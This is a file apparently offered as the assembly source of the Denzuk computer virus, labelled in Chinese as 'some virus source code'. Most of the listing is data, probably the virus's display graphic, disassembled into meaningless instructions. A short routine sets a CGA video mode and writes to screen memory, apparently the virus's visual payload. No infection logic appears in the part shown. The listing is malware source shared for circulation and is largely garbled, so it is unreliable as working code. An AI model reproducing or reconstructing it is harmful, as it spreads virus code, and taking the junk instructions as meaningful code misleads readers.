denzuk.asm

一些病毒源代码

		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,byte ptr ds:[0A00h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		test	al,0
		add	ch,[bp+si+0A0h]
		add	ch,[bp+si+0A8h]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		or	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+80h],ch
		add	[bx+si],al
		add	[bp+si-5556h],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],2
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],al
		add	byte ptr [bx+si],0
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	ch,[bp+si+2A00h]
		mov	al,ds:data_0033e
		add	ch,[bp+si+0A0h]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	ch,[bp+si-5556h]
		mov	al,ds:data_0033e
		add	[bx+si],al
		add	[bx+si],al
		pushf				; Push flags
		push	ax
		push	cx
		push	dx
		push	ds
		push	es
		push	si
		push	di
		push	cs
		pop	ds
		mov	ax,5
		int	10h			; Video display   ah=functn 00h
						;  set display mode in al
		mov	ax,0B800h
		mov	es,ax
;*		call	sub_0002		;*
		db	0E8h, 24h, 00h
		mov	cx,10h

locloop_0019:
		call	sub_0003
		mov	di,3040h
;*		call	sub_0004		;*
		db	0E8h, 57h, 00h
		loop	locloop_0019		; Loop if cx > 0

		mov	cx,0FFFFh

locloop_0020:
		loop	locloop_0020		; Loop if cx > 0

		mov	cx,0F6FFh
		daa				; Decimal adjust
		sub	[bx+si],al
		add	[bp+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bp+si-5556h],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0003	proc	near
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		or	ch,[bp+si+0A0h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		or	ch,[bp+si-5F56h]
		add	[bx+si],al
		or	ch,[bp+si+80h]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	ch,[bp+si+0AAh]
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		sub	al,[bx+si]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0Ah
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0179e
		add	[bx+si],al
		add	[bp+si-5756h],ch
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0158e
		add	[bp+si-5556h],ch
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si-7F56h],ch
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0181e
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		add	[bp+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		test	al,0Ah
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		or	ch,[bp+si+0A8h]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0186e
		add	[bx+si],al
		add	[bp+si-5556h],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		add	[bx+si],al
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		test	al,0
		or	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		sub	ch,[bp+si+0]
		nop				;*ASM fixup - displacement
		nop				;*ASM fixup - sign extn byte
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	[bp+si],al
		stosb				; Store al to es:[di]
		mov	al,ds:data_0185e
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		mul	byte ptr ds:data_0035e	; ax = data * al
		add	[bx+si],al
		add	[bx+si],al
		sub	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,byte ptr data_0041+40h	; (' ')
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		mov	al,byte ptr data_0041+40h	; (' ')
		stosb				; Store al to es:[di]
		mov	al,byte ptr data_0041+40h	; (' ')
		stosb				; Store al to es:[di]
		test	al,0
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		test	al,0
		add	[bx+si],al
		or	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],ch
		add	byte ptr [bx+si],0
		add	[bx+si],al
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		sub	ch,[bp+si+2A00h]
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	ch,[bp+si+0A0h]
		add	[bp+si],ch
		stosb				; Store al to es:[di]
		add	byte ptr [bx+si],0
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si+0A8h],ch
		stosb				; Store al to es:[di]
		mov	al,ds:data_0033e
		add	[bx+si],al
		or	ch,[bp+si-5556h]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		mov	al,ds:data_0161e
		stosb				; Store al to es:[di]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	byte ptr [bx+si],0
		add	[bp+si],cl
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]